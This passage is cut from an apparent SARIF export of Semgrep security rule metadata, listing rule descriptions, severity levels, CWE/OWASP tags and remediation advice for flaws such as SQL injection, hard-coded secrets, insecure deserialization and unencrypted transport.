[https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash","id":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","name":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.passlib.passlib-insecure-hash.passlib-insecure-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","id":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","name":"terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-iam-admin-policy.aws-iam-admin-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"help":{"markdown":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This socket is not encrypted. The traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.unencrypted-socket.unencrypted-socket","id":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","name":"kotlin.lang.security.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"help":{"markdown":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to utilize Realm for data storage, but was not observed to set an encryption key. When no encryption key is set in the configuration, no encryption is used. To protect user and application data, the application should specify an encryption key, which is randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","id":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","name":"swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.realmstate-encryption-missing.swift-hardcoded-realm-without-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.pg-express.pg-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.pg-express.pg-express","id":"javascript.express.db.pg-express.pg-express","name":"javascript.express.db.pg-express.pg-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.pg-express.pg-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","id":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","name":"javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-github-pat.hardcoded-github-pat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request)\n - [https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html](https://docs.ruby-lang.org/en/2.2.0/Net/Telnet.html)\n - [https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet](https://www.rubydoc.info/gems/net-ssh-telnet2/0.1.0/Net/SSH/Telnet)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-telnet-request.net-telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request-deepsemgrep.tainted-ldapi-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"help":{"markdown":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs)\n - [https://cwe.mitre.org/data/definitions/352.html](https://cwe.mitre.org/data/definitions/352.html)\n - [https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/](https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/)\n","text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","id":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","name":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli","id":"ruby.aws-lambda.security.pg-sqli.pg-sqli","name":"ruby.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","id":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","name":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","id":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","name":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled)\n","text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","id":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","name":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape)\n - [https://pugjs.org/language/code.html#unescaped-buffered-code](https://pugjs.org/language/code.html#unescaped-buffered-code)\n - [https://pugjs.org/language/attributes.html#unescaped-attributes](https://pugjs.org/language/attributes.html#unescaped-attributes)\n","text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"help":{"markdown":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected)\n - [https://cwe.mitre.org/data/definitions/939.html](https://cwe.mitre.org/data/definitions/939.html)\n","text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","id":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","name":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","properties":{"precision":"very-high","tags":["CWE-939: Improper Authorization in Handler for Custom URL Scheme","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","id":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","name":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","id":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","name":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"help":{"markdown":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use)\n - [https://www.php.net/manual/en/function.unserialize.php](https://www.php.net/manual/en/function.unserialize.php)\n - [https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html](https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html)\n","text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"helpUri":"https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use","id":"php.lang.security.unserialize-use.unserialize-use","name":"php.lang.security.unserialize-use.unserialize-use","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unserialize-use.unserialize-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve","id":"python.lang.security.deserialization.pickle.avoid-shelve","name":"python.lang.security.deserialization.pickle.avoid-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 